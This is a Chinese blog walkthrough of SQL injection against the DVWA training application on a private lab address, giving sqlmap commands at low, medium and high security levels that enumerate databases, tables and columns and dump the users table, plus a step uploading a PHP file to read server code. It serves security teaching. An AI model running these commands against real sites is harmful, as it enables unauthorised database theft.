DVWA-SQL Injection 基于sqlmap 注入

sqlmap 是一款用于自动化检测和利用sql注入漏洞的开源工具。是一款强大的渗透测试工具,旨在帮助专业人员更全面地评估和管理网络完全风险。

基于sqlmapDVWA-SQL Injection 进行测试:

 

--low 级别:

在浏览器中F12或抓包,获取接口地址,请求方式,接口入参和cookie信息等信息。

 使用sqlmap对接口探测

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch

 执行结果:

手动尝试一下,提供的注入参数是否有用。

尝试爆破数据库名称信息

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch --dbs

执行结果:

尝试爆破数据库表信息

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch -D dvwa --tables

执行结果:

尝试爆破数据库表里的字段

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=low" --batch -D dvwa -T users --columns

执行结果:

尝试对表内容进行爆破:

 

--medium级别:

查看接口信息:

尝试爆破数据库名称:传参形式以data的形式

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch

执行结果:

尝试爆破数据库名称:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch --dbs

执行结果:

尝试爆破数据库中表信息:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa --tables

执行结果:

尝试爆破数据库中users表的字段信息:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns

执行结果:

尝试猜解数据库中users的数据内容:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=medium" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump

执行结果:

 

--high级别:

high级别中,浏览器F12查看接口信息。

猜解数据库名称:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch

执行结果:

可以看到注入失败,没有返回数据库名称信息。

创建session_input_info.php文件,上传到dvwa服务器上获取session-input.php文件内容。

访问session_input_info.php 文件获取session_input.php 信息。

session-input.php页面信息中,可以看出真实的查询请求是父级页面发出的。

所以,正确的注入路径应该是:http://192.168.52.132/vulnerabilities/sqli/

尝试是否允许注入:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch

执行结果:

也可以直接通过参数--second-url 同时尝试多个接口,如下

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch

猜解数据库名称:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch --dbs

 猜解dvwa数据库的表信息

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa --tables

执行结果:

猜解dvwa数据库中users表的字段信息:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa -T users --columns

执行结果:

猜解dvwa数据库中users表的内容:

sqlmap -u "http://192.168.52.132/vulnerabilities/sqli/session-input.php" -second-url="http://192.168.52.132/vulnerabilities/sqli/" --cookie="PHPSESSID=shmginkevu5nqmg767u4no9a21; security=high" --data="id=1&Submit=Submit" --batch -D dvwa -T users --dump

执行结果:

 

posted @ 2024-02-18 23:57  西夏一品唐  阅读(302)  评论(0编辑  收藏  举报